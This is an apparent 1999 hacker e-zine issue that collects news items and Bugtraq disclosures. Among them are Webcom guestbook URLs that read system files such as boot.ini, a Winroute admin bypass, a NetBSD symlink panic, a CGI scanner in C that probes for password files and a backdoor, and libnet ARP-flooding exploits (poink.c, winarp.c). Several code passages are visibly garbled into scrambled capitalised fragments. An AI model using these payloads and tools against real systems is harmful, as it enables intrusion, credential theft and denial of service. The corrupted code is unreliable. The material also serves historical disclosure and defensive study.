by deepcase, Sunday 11th Apr 1999 on 8:58 pm CET
Wanna have some fun with IE 5.0 ? Check this little text which explains how you
have to modify the language choice of IE to have some fun with it :) Read it below .
From: "Gibney, Tim"
Subject: Not the place but...
...try it anyway.
Heh... try this in IE5. Trust me the last part is good :)
Open up IE5
From the menu, select Tools > Internet Options > General (tab) >
Languages (button)
Press 'Add'
Type: "ie-ee" (without the quotes) and click 'OK'
Move "User Defined [ie-ee]" to the TOP of the list
Exit back to where you can browse in IE5 again
Click on the Search icon (to pull up the side search menu)
Laugh at the new options
Select 'Previous Searches'
Regards,
Tim Gibney
------------------------------------------------------------------------
From: Rod Potter
Subject: Re: Not the place but...
If you take the time to do this, don't forget to click on "Customize" also.
More proof that MS plans to crush Mozilla ;-)
@HWA
22.0 Renegade judge
~~~~~~~~~~~~~~
Via net-security http://www.net-security.org/
link
RENEGADE JUDGE
by BHZ, Sunday 11th Apr 1999 on 6:22 pm CET
Pennsylvania Judge Joan Orie Melvin read an article on a muckraking Web site that
accused her of unseemly political activities and she took the law in her own hands. In
a subpoena sent to the online service AOL last month Melvin asked it to "identify the
individual or entity who owns" the Grant Street 1999 gossip site. The American Civil
Liberties Union has now joined the suit to oppose Melvin's request, pointing at the
fact that anonymous speech is a right protected by the First Amendment. Contributed
by Thejian
@HWA
23.0 Webcom Guestbooks vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Via net-security http://www.net-security.org/
link
WEBCOM GUESTBOOKS
by BHZ, Saturday 11th Apr 1999 on 3:37 pm CET
As reported on BugTraq mailing list:"Webcom's (www.webcom.se) CGI Guestbook
(wguest.exe and rguest.exe) having a number of security problems where any text
based file on an NT machine could be read from the file system provided the attacker
knew the path to the file and the Anonymous Internet Account
(IUSR_MACHINENAME on IIS) has the NTFS read right to the file in question. On
machines such as Windows 95/98 without local file security every file is readable.
wguest.exe is used to write to the Guestbook and rguest.exe is used to read from the
Guestbook". You can also get some system files and even write to files from your
browser. Pretty low security.
Approved-By: aleph1@UNDERGROUND.ORG
Received: from sand4.global.net.uk (sand4.global.net.uk [194.126.80.248]) by
netspace.org (8.8.7/8.8.7) with ESMTP id PAA09340 for
; Fri, 9 Apr 1999 15:50:05 -0400
Received: from pf2s06a06.client.global.net.uk ([195.147.214.243] helo=mercury)
by sand4.global.net.uk with smtp (Exim 2.05 #2) id 10VhIP-0001aP-00;
Fri, 9 Apr 1999 19:50:35 +0000
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_000F_01BE82C9.5E989D50"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Message-ID: <001201BE82C0$FE16A060$216610AC@MERCURY>
Date: Fri, 9 Apr 1999 20:41:39 +0100
Reply-To: Mnemonix
Sender: Bugtraq List
From: Mnemonix
Subject: Webcom's CGI Guestbook for Win32 web servers
X-To: ntbugtraq@listserv.ntbugtraq.com
X-cc: ntsecurity@iss.net
To: BUGTRAQ@netspace.org
I reported a while back on Webcom's (www.webcom.se) CGI Guestbook
(wguest.exe and rguest.exe) having a number of security problems
where any text based file on an NT machine could be read from the
file system provided the attacker knew the path to the file and
the Anonymous Internet Account (IUSR_MACHINENAME on IIS) has the
NTFS read right to the file in question. On machines such as
Windows 95/98 without local file security every file is readable.
wguest.exe is used to write to the Guestbook and rguest.exe is
used to read from the Guestbook
Their latest version has made this simpler: A request for
http://server/cgi-bin/wguest.exe?template=c:\boot.ini will return
the remote Web server's boot.ini and
http://server/cgi-bin/rguest.exe?template=c:\winnt\system32\$winnt$.inf
will return the $winnt$.inf file.
Why the developers at Webcom have not resolved this issue in their
latest version is bordering the criminal. I received no response to
my mail to them about this. Anybody using this Guestbook should remove
it as soon as possible and obtain another CGI Guestbook if you really
need one.
Cheers,
David Litchfield
http://www.arca.com
http://www.infowar.co.uk/mnemonix/
@HWA
24.0 Achtung! No piracy here!
~~~~~~~~~~~~~~~~~~~~~~~~
http://www.wired.com/news/news/email/explode-infobeat/culture/story/19122.html
Link
Achtung! No Piracy Here
Reuters
12:20 p.m. 14.Apr.99.PDT
Germany's music industry said Wednesday that it has new technology to
block recording piracy on the Internet and stem the flow of money lost
as a result of it.
Thomas Stein, president of the German Phonographic Industry Association,
said the technology includes search engines that can troll the Web,
ferreting out illegal music distributors.
Stein said his industry had lost DM20 million (US$11 million) in 1998 as
a result of Internet piracy, twice as much as in 1997. The industry lost
DM100 million, down 10 percent from 1997, due to the illegal copying of
compact discs, cassettes, and videos, he added.
However, companies believe that piracy over the Internet is on the verge
of exploding, while losses due to home copying of compact discs were also
on the rise, Stein said.
He said that the latter development was particularly dangerous because it
allowed consumers to make copies of a nearly identical quality to the
original -- a trend he called "schoolyard piracy" owing to the youthfulness
of many perpetrators.
But he added that the industry's priority remained fighting commercial
exploitation of pirated music.
Copyright© 1999 Reuters Limited.
@HWA
25.0 Bug in Winroute 3.04g
~~~~~~~~~~~~~~~~~~~~~
Approved-By: aleph1@UNDERGROUND.ORG
Received: from main.ismi.net (root@main.ismi.net [206.31.56.7]) by netspace.org
(8.8.7/8.8.7) with ESMTP id AAA14480 for ; Fri,
9 Apr 1999 00:36:48 -0400
Received: from dodds.net (tc5-44.ismi.net [207.51.197.49]) by main.ismi.net
(8.8.5/8.8.5) with ESMTP id AAA13832 for ; Fri,
9 Apr 1999 00:37:12 -0400 (EDT)
X-Mailer: Mozilla 4.51 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854";
x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Message-ID: <370D83EE.4B2E088C@DODDS.NET>
Date: Fri, 9 Apr 1999 00:37:05 -0400
Reply-To: "Michael R. Rudel"
Sender: Bugtraq List
From: "Michael R. Rudel"
Subject: Bug in Winroute 3.04g
To: BUGTRAQ@netspace.org
There is a bug in the remote proxy server admin part of Winroute 3.04g.
I have tested it on an earlier release (3.04a), and that is also
vulnerable.
When you first access the admin proxy server, it asks for a username and
password to authenticate to. If you hit 'cancel', one frame will come
back as not containing any data, but the other frame will still give you
all the buttons that you need to configure the software - giving you
full access.
This is a semisortakindaserious bug, as anyone using Winroute can be
disconnected from the Internet by anyone else in the world, as they can
authenticate to the admin proxy server without a user name and password.
- Michael R. Rudel (mrr@mrr.cx)
- Computer Tech
- Pinckney Community Schools
Approved-By: aleph1@UNDERGROUND.ORG
Received: from r00tshell.com (root@whitehats.com [199.181.107.23]) by
netspace.org (8.8.7/8.8.7) with ESMTP id SAA18357 for
; Fri, 9 Apr 1999 18:19:15 -0400
Received: from whitehats.com (IDENT:vision@whitehats.com [199.181.107.23]) by
r00tshell.com (9.0/8.9.1) with SMTP id QAA15892; Fri, 9 Apr 1999
16:12:05 -0700 (PDT)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:
Date: Fri, 9 Apr 1999 16:12:05 -0700
Reply-To: Max Vision
Sender: Bugtraq List
From: Max Vision
Subject: Re: Bug in Winroute 3.04g
X-To: "Michael R. Rudel"
To: BUGTRAQ@netspace.org
In-Reply-To: <370D83EE.4B2E088C@DODDS.NET>
On Fri, 9 Apr 1999, Michael R. Rudel wrote:
> There is a bug in the remote proxy server admin part of Winroute 3.04g.
> I have tested it on an earlier release (3.04a), and that is also
> vulnerable.
>
Confirmed on Winroute Pro 3.04
http://localhost:3129/admin/config/ takes yous straight to the
configuration options without authentication.
If one is going to use Winroute, I highly recommend turning on the
packet filter found at Settings -> Advanced -> Packetfilter
An unrelated bug is that the packetfilter refuses to pass on tcp 139
regardless of implicite configuration otherwise.
Max
@HWA
26.0 Patrol security bugs
~~~~~~~~~~~~~~~~~~~~
Approved-By: aleph1@UNDERGROUND.ORG
Received: from carabosse.oleane.net (carabosse.oleane.net [194.2.28.5]) by
netspace.org (8.8.7/8.8.7) with ESMTP id GAA20879 for
; Fri, 9 Apr 1999 06:45:33 -0400
Received: from tom.oleane.net (smtp.dial.oleane.com [194.2.0.54]) by
carabosse.oleane.net with ESMTP id MAA32515 for
; Fri, 9 Apr 1999 12:46:00 +0200
Received: from fco (dyntnt-1-046.Def.dialup.oleane.fr [195.25.5.46]) by
tom.oleane.net (8.8.8/8.8.8) with ESMTP id MAA00846 for
; Fri, 9 Apr 1999 12:45:54 +0200
X-Mailer: Mozilla 4.0 [en] (Win95; I)
MIME-Version: 1.0
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <370DDA89.31976841@CF6.FR>
Date: Fri, 9 Apr 1999 12:46:33 +0200
Reply-To: fcosta
Sender: Bugtraq List
From: fcosta
Subject: Patrol security bugs
To: BUGTRAQ@netspace.org
> > ____/ ____/ _____/
> > / / / Security Department
> > / ___/ / Tel : +33 (0)1 41 91 39 00
> > / / /__/ / Fax : +33 (0)1 41 91 39 99
> > _____/ __/ ______/
> >
> ____________________________________________________
>
> Patrol Security bugs report
>
> ____________________________________________________
>
> PROBLEM:
>
> The PATROL management software from BMC SOFTWARE has 3 severe bugs :
>
> 1) Session password encryption weakness :
>
> The Patrol session password is protected in a way which does not prevent
>
> from replay attacks. It is possible for an attacker to capture (wire
> tapping, network sniffing...) an encrypted password and to provide it to
> the
> BMC API to connect to the agent. The attacker can then get a shell with
> the
> agent without the administrator to know it.
>
> 2) Patrol frames sealing :
>
> The algorithm used in Patrol for sealing the frames exchanged is fairly
> weak
> (enhanced checksum). It is thus quite easy for an attacker to build a
> spoofing system which sends faked frames to an agent.
>
> 3) Service deny on UDP port :
>
> The UDP ports accept connexion requests and are thus exposed to
> ping-pong
> from another UDP port (e.g. chargen).
>
> ____________________________________________________
>
>
> PLATFORM:
>
> Patrol agent until release 3.25 on all operating systems
>
> ____________________________________________________
>
> DAMAGE:
>
> You can get administrator account throught Patrol agent whithout
> accreditation or crash system by DOS attack.
>
> ____________________________________________________
>
> SOLUTION:
>
> We are actually working with BMC SOFTWARE to correct all those bugs.
> ____________________________________________________
>
> For more informations, contact Frederic COSTA : e-mail: fcosta@cf6.fr
>
>
>
@HWA
27.0 [BUGTRAQ] kernel panic or hang in name lookup (NetBSD)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Approved-By: aleph1@UNDERGROUND.ORG
organisation: The NetBSD Foundation, Inc.
Message-ID: <26497.923972993@ETERNA.COM.AU>
Date: Tue, 13 Apr 1999 13:09:53 +1000
Reply-To: matthew green
Sender: Bugtraq List
From: matthew green
Subject: NetBSD Security Advisory 1999-008
X-To: netbsd-announce@netbsd.org
X-cc: tech-security@netbsd.org, current-users@netbsd.org,
cert@cert.org, auscert@auscert.org.au
To: BUGTRAQ@netspace.org
-----BEGIN PGP SIGNED MESSAGE-----
NetBSD Security Advisory 1999-008
=================================
Topic: Kernel hang or panic in name lookup under certain circumstances
Version: NetBSD 1.3.X, NetBSD-current to 19990409, and
early versions of NetBSD-1.4_ALPHA
Severity: In later versions of -current and in 1.4_ALPHA, unprivileged
users can panic the system.
Abstract
========
Unprivileged users can trigger a file-system locking error, causing the
system to panic or hang. The following command sequence will trigger
the vulnerability:
% ln -s ./ test
% ln -s ./ test
Technical Details
=================
Certain kernel operations, such as creating a symbolic link, request that
the namei() path name resolution routine not unlock the node of the
directory containing the found file, instead returning it to the caller
locked.
When the found file is a symbolic link, this parent must be unlocked
before the symbolic link is looked up. This problem results from the test
to unlock the parent differing from the test to lock the parent. The
difference only manifests itself in the case of a path name which ends
with a symbolic link ending with one or more "/" characters.
NetBSD 1.3.3 and prior hang when this bug is exercised. NetBSD-current
was enhanced to notice locking problems and thus panics instead of
hanging.
Solutions and Workarounds
=========================
There are no workarounds for this problem. A patched kernel must be
installed to fix this problem.
A patch is available for NetBSD 1.3.3 which fixes this problem. You
may find this patch on the NetBSD ftp server:
ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/19990412-vfs_lookup
NetBSD-current since 19990409 is not vulnerable. Users of NetBSD-current
should upgrade to a source tree later than 19990409.
Thanks To
=========
The NetBSD Project would like to thank Antti Kantee and
Matthew Orgass for providing information about this
problem, and William Studenmund for providing a
solution.
Revision History
================
1999/04/12 - initial version
More Information
================
Information about NetBSD and NetBSD security can be found at
http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/.
Copyright 1999, The NetBSD Foundation, Inc. All Rights Reserved.
$NetBSD: NetBSD-SA1999-008.txt,v 1.3 1999/04/12 18:58:18 mrg Exp $
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv
iQCVAwUBNxJEUz5Ru2/4N2IFAQGjOwP/TQe7ydvPf2nMAVMoKGC9phVRylXEBF4Y
uRarfRXHtnQXAX5HRk9CDhjrEOSk+qAqLoRS81XCsRA4wRKDRUsPpmWd8NiW5v3W
WHrE3Iww4hn2SHGmuqtDVlb5uNRwZsq8xflL6O07xrxbTgmhYd9nSOvOKALlJw7M
PMXTR62g7SI=
=FAOF
-----END PGP SIGNATURE-----
@HWA
28.0 cgichk1.3 scans for 41 vulnerabilities by su1d sh3ll //UnlG 1999
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/* ---------------------------------------------------------------------- */
/* CGI scanner v1.3, m0dify and recode by su1d sh3ll //UnlG 1999 */
/* Tested on Slackware linux with kernel 2.0.35 and FreeBSD 2.2.2-3.1 */
/* Source c0de by [CKS & Fdisk] */
/* Gr33tz to: r00tshell, Packet St0rm, ADM crew, ech0 security,el8.org */
/* el8.org users, duke, HET2 ,#c0de */
/* Fuck to: www.hackzone.ru , HDT...... CHC fuck u 2 llamas */
/* c0m1ng s00n: xplo1t for IIS4.0 ;-) */
/* -----------------------------------------------[13:17 07.04.99 UnlG]- */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
void main(int argc, char *argv[])
{
int sock,debugm=0;
struct in_addr addr;
struct sockaddr_in sin;
struct hostent *he;
unsigned long start;
unsigned long end;
unsigned long counter;
char foundmsg[] = "200";
char *cgistr;
char buffer[1024];
int count=0;
int numin;
char cgibuff[1024];
char *buff[50]; /* Don't u think 50 is enought? */
char *cginame[50]; /* Don't u think 50 is enought? */
buff[1] = "GET /cgi-bin/unlg1.1 HTTP/1.0\n\n";
buff[2] = "GET /cgi-bin/phf HTTP/1.0\n\n";
buff[3] = "GET /cgi-bin/Count.cgi HTTP/1.0\n\n";
buff[4] = "GET /cgi-bin/test-cgi HTTP/1.0\n\n";
buff[5] = "GET /cgi-bin/nph-test-cgi HTTP/1.0\n\n";
buff[6] = "GET /cgi-bin/php.cgi HTTP/1.0\n\n";
buff[7] = "GET /cgi-bin/handler HTTP/1.0\n\n";
buff[8] = "GET /cgi-bin/webgais HTTP/1.0\n\n";
buff[9] = "GET /cgi-bin/websendmail HTTP/1.0\n\n";
buff[10] = "GET /cgi-bin/webdist.cgi HTTP/1.0\n\n";
buff[11] = "GET /cgi-bin/faxsurvey HTTP/1.0\n\n";
buff[12] = "GET /cgi-bin/htmlscript HTTP/1.0\n\n";
buff[13] = "GET /cgi-bin/pfdispaly.cgi HTTP/1.0\n\n";
buff[14] = "GET /cgi-bin/perl.exe HTTP/1.0\n\n";
buff[15] = "GET /cgi-bin/wwwboard.pl HTTP/1.0\n\n";
buff[16] = "GET /cgi-bin/www-sql HTTP/1.0\n\n";
buff[17] = "GET /cgi-bin/view-source HTTP/1.0\n\n";
buff[18] = "GET /cgi-bin/campas HTTP/1.0\n\n";
buff[19] = "GET /cgi-bin/aglimpse HTTP/1.0\n\n";
buff[20] = "GET /cgi-bin/man.sh HTTP/1.0\n\n";
buff[21] = "GET /cgi-bin/AT-admin.cgi HTTP/1.0\n\n";
buff[22] = "GET /cgi-bin/filemail.pl HTTP/1.0\n\n";
buff[23] = "GET /cgi-bin/maillist.pl HTTP/1.0\n\n";
buff[24] = "GET /cgi-bin/jj HTTP/1.0\n\n";
buff[25] = "GET /cgi-bin/info2www HTTP/1.0\n\n";
buff[26] = "GET /cgi-bin/files.pl HTTP/1.0\n\n";
buff[27] = "GET /cgi-bin/finger HTTP/1.0\n\n";
buff[28] = "GET /cgi-bin/bnbform.cgi HTTP/1.0\n\n";
buff[29] = "GET /cgi-bin/survey.cgi HTTP/1.0\n\n";
buff[30] = "GET /cgi-bin/AnyForm2 HTTP/1.0\n\n";
buff[31] = "GET /cgi-bin/textcounter.pl HTTP/1.0\n\n";
buff[32] = "GET /cgi-bin/classifieds.cgi HTTP/1.0\n\n";
buff[33] = "GET /cgi-bin/environ.cgi HTTP/1.0\n\n";
buff[34] = "GET /_vti_pvt/service.pwd HTTP/1.0\n\n";
buff[35] = "GET /_vti_pvt/users.pwd HTTP/1.0\n\n";
buff[36] = "GET /_vti_pvt/authors.pwd HTTP/1.0\n\n";
buff[37] = "GET /_vti_pvt/administrators.pwd HTTP/1.0\n\n";
buff[38] = "GET /cgi-dos/args.bat HTTP/1.0\n\n";
buff[39] = "GET /cgi-win/uploader.exe HTTP/1.0\n\n";
buff[40] = "GET /search97.vts HTTP/1.0\n\n";
buff[41] = "GET /carbo.dll HTTP/1.0\n\n";
cginame[1] = "UnlG - backd00r";
cginame[2] = "phf ";
cginame[3] = "Count.cgi ";
cginame[4] = "test-cgi ";
cginame[5] = "nph-test-cgi ";
cginame[6] = "php.cgi ";
cginame[7] = "handler ";
cginame[8] = "webgais ";
cginame[9] = "websendmail ";
cginame[10] = "webdist.cgi ";
cginame[11] = "faxsurvey ";
cginame[12] = "htmlscript ";
cginame[13] = "pfdisplay ";
cginame[14] = "perl.exe ";
cginame[15] = "wwwboard.pl ";
cginame[16] = "www-sql ";
cginame[17] = "view-source ";
cginame[18] = "campas ";
cginame[19] = "aglimpse ";
cginame[20] = "man.sh ";
cginame[21] = "AT-admin.cgi ";
cginame[22] = "filemail.pl ";
cginame[23] = "maillist.pl ";
cginame[24] = "jj ";
cginame[25] = "info2www ";
cginame[26] = "files.pl ";
cginame[27] = "finger ";
cginame[28] = "bnbform.cgi ";
cginame[29] = "survey.cgi ";
cginame[30] = "AnyForm2 ";
cginame[31] = "textcounter.pl ";
cginame[32] = "classifields.cgi";
cginame[33] = "environ.cgi ";
cginame[34] = "service.pwd ";
cginame[35] = "users.pwd ";
cginame[36] = "authors.pwd ";
cginame[37] = "administrators.pwd";
cginame[38] = "args.bat ";
cginame[39] = "uploader.exe ";
cginame[40] = "search97.vts ";
cginame[41] = "carbo.dll ";
if (argc<2) SH3LL : --]"); { } BY 1.3. MODIFIED ,ARGV[0]);
PRINTF( [-- IF OR SU1D EXIT(0); \N CHECKER PRINTF("\NUSAGE FOR MODE\N\N",ARGV[0]); DEBUG %S -D HOST CGI (ARGC //UNLG PRINTF("\N>2)
{
if(strstr("-d",argv[2]))
{
debugm=1;
}
}
if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname");
exit(0);
}
printf("\n\n\t [CKS & Fdisk]'s CGI Checker - modify by su1d sh3ll 07.043.99\n\n\n");
start=inet_addr(argv[1]);
counter=ntohl(start);
sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(80);
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
perror("connect");
}
printf("\n\n\t [ Press any key to check out the httpd version...... ]\n");
getchar();
send(sock, "HEAD / HTTP/1.0\n\n",17,0);
recv(sock, buffer, sizeof(buffer),0);
printf("%s",buffer);
close(sock);
printf("\n\t [ Press any key to search 4 CGI stuff...... ]\n");
getchar();
while(count++ h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(80);
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
perror("connect");
}
printf("Searching for %s : ",cginame[count]);
for(numin=0;numin
* route|daemon9
* All rights reserved.
*
* Original Idea:
* Joel Jacobson (joel@mobila.cx)
*
* This simple exploit was written as per the specification from Joel
* Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html).
*
* Needs libnet 0.99.
* Currently: http://lazy.accessus.net/~route/libnet
* Soon: http://www.packetfactory.net/
*
* gcc poink.c -o poink -lnet
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#include
u_char enet_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
int send_arp(struct link_int *, u_long, u_char *);
void usage(u_char *);
int
main(int argc, char *argv[])
{
int c, amount;
char errbuf[256];
char *device = NULL;
struct link_int *l;
u_long ip;
amount = 20;
while ((c = getopt(argc, argv, "n:i:")) != EOF)
{
switch (c)
{
case 'i':
device = optarg;
break;
case 'n':
amount = atoi(optarg);
break;
default:
exit(EXIT_FAILURE);
}
}
if (!device)
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
if (argc <= * + , . : ? A C="send_arp(l," I L="libnet_open_link_interface(device," N="libnet_write_link_layer(l," PRINTF("\N"); (N); { } WILLINGNESS OPTIND) 1999 ARP_H NULL, INT ETH_H); *BUF; IP, YOUR ERROR EXIT_SUCCESS); FAITH IF USAGE(ARGV[0]); IS %S -I INTERFACE [-N AMOUNT] IP\N MY N; VOID 11:23:29 USAGE(U_CHAR OF TUE, ON FPRINTF(STDERR, RETURN FIRST THAT HATE ((IP="libnet_name_resolve(argv[optind]," TO ETHERTYPE_ARP, IMPROVEMENT, VICTORY EXIT_FAILURE ~~~~~~~~~ 29.1
To: BUGTRAQ@netspace.org
Subject: Re: ARP problem in Windows9X/NT
Parts/Attachments:
1 Shown 71 lines Text
2 OK ~3.3 KB Text, ""
----------------------------------------
Hya,
Could you be more specific with those XX-fields ?
I started writing that proggie with plain syscalls, but it would only run
on Linux, so I modified one of the examples in Route's Libnet 0.9 to do
the stuff. I haven't tested it yes since I don't have LAN at home...
Compile with:
cc winarp.c -o winarp -lnet
Usage:
./winarp [-i device] [-c count] -d destination
For those who are still wondering what the hell Libnet is: check out
http://www.infonexus.com/~demon9
--
kay@phreedom.org
AD80 0D6A 5286 2729 5D2F 6326 D3F8 C61A 93F4 4C48 xuniL
DA FA 10 7D 6A 05 45 11 37 E1 E1 2B B4 34 2E 83 Zelur
On Mon, 12 Apr 1999, Joel Jacobson wrote:
> Hello all bugtraqers!
>
> I've found a problem in Windows9X/NT's way of handeling ARP packets.
>
> If you flood a computer at your LAN with the packet below, it's user
> will be forced to click a messagebox's OK button x times, where x is the number
> of packets you flooded with.
>
> I advice Microsoft to develope a patch for this problem, that let you
> choose to ignore all future messages of this type.
>
> There is no way to trace the flooder since the MAC address in the
> packet can be modified to anything. Bad configurated routers will
> not drop this packet. When I tested this problem on my LAN I could
> flood a computer on another C-net at my LAN without problems.
>
> The program NetXRay was used to preform the flood.
> The victims had to reboot their computer, or choose to click _very_
> many OK buttons.
>
> The ARP packet is build up like this:
>
> Ethernet Version II:
> Address: XX-XX-XX-XX-XX-XX --->FF-FF-FF-FF-FF-FF
> Ehternet II Protocol Type: ARP
> Address Resolution Protocol:
> Hardware Type: 1 (Ethernet)
> Protocol Type: 800
> Hardware Address: Length: 6
> Protocol Address: Length: 4
> Operations: ARP Request
> Source Hardware Address: XX-XX-XX-XX-XX-XX
> IP Source Address:
> Destination Hardware Address: XX-XX-XX-XX-XX-XX
> IP Destination Address:
>
> And in HEX the packet look like this:
> ff ff ff ff ff ff 00 00 00 00 00 00 08 06 08 00 06 04 00 01 00 00 00
> 00 00 00 XX XX XX XX 00 00 00 00 00 00 XX XX XX XX
> (XX is what matters here)
>
> Hope a patch for this problem will be developed fast, cause this is a
> big problem for my school and probably also to others.
>
> I'm not a C programmer, and don't know how to write an exploit for
> this problem. So, if anyone else can develope an exploit, feel free to do so.
>
> Joel Jacobson.
[ Part 2, "" Text/PLAIN (Name: "winarp.c") 71 lines. ]
/*
* Copyright (c) 1998, 1999 route|daemon9
* All rights reserved.
*
* Modified to winarps.c 1999 by kay
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#include
u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
u_long ip_dst = 0;
void send_arp(struct link_int *, u_char *);
#if (__linux__)
#define IPOPT_SECURITY 130
#endif
int main(int argc, char *argv[])
{
int c, count = 1;
char errbuf[256];
char *device = NULL;
char *address = NULL;
struct link_int *l;
while ((c = getopt(argc, argv, "i:d:c:")) != EOF) {
switch (c) {
case 'i':
device = optarg;
break;
case 'd':
address = optarg;
ip_dst = name_resolve(address, 0);
break;
case 'c':
count = atoi(optarg);
break;
default:
exit(EXIT_FAILURE);
}
}
if (!device) {
fprintf(stderr, "Specify a device\n");
exit(EXIT_FAILURE);
}
if (!ip_dst) {
fprintf(stderr, "Specify destination\n");
exit(EXIT_FAILURE);
}
if ((l = open_link_interface(device, errbuf)) == NULL) {
fprintf(stderr, "open_link_interface: %s\n", errbuf);
exit(EXIT_FAILURE);
}
send_arp(l, device);
exit(EXIT_SUCCESS);
}
void send_arp(struct link_int *l, u_char * device)
{
int n;
u_char *buf;
buf = (u_char *) malloc(ARP_H + ETH_H);
if (!buf) {
perror("no packet memory");
exit(EXIT_FAILURE);
}
memset(buf, 0, ARP_H + ETH_H);
build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src,
(void *)&ip_dst, enet_dst, (void *)&ip_dst, NULL, 0, buf + ETH_H);
n = write_link_layer(l, device, buf, ARP_H + ETH_H);
printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
}
-----------------------------------------------------------------------------------
Date: Tue, 13 Apr 1999 12:13:17 +0300
From: kay
To: BUGTRAQ@netspace.org
Subject: Re: ARP problem in Windows9X/NT
Forgot something:
In winarp.c
77 exit(EXIT_FAILURE);
78 }
+++ 79 for ( ; count <= 13:59:54 5D2F - COUNT--) 1999 B4 DA E1
To: BUGTRAQ@netspace.org
Subject: ARP problem in Windows9X/NT
Hello all bugtraqers!
I've found a problem in Windows9X/NT's way of handeling ARP packets.
If you flood a computer at your LAN with the packet below, it's user
will be forced to click a messagebox's OK button x times, where x is the number
of packets you flooded with.
I advice Microsoft to develope a patch for this problem, that let you
choose to ignore all future messages of this type.
There is no way to trace the flooder since the MAC address in the
packet can be modified to anything. Bad configurated routers will
not drop this packet. When I tested this problem on my LAN I could
flood a computer on another C-net at my LAN without problems.
The program NetXRay was used to preform the flood.
The victims had to reboot their computer, or choose to click _very_
many OK buttons.
The ARP packet is build up like this:
Ethernet Version II:
Address: XX-XX-XX-XX-XX-XX --->FF-FF-FF-FF-FF-FF
Ehternet II Protocol Type: ARP
Address Resolution Protocol:
Hardware Type: 1 (Ethernet)
Protocol Type: 800
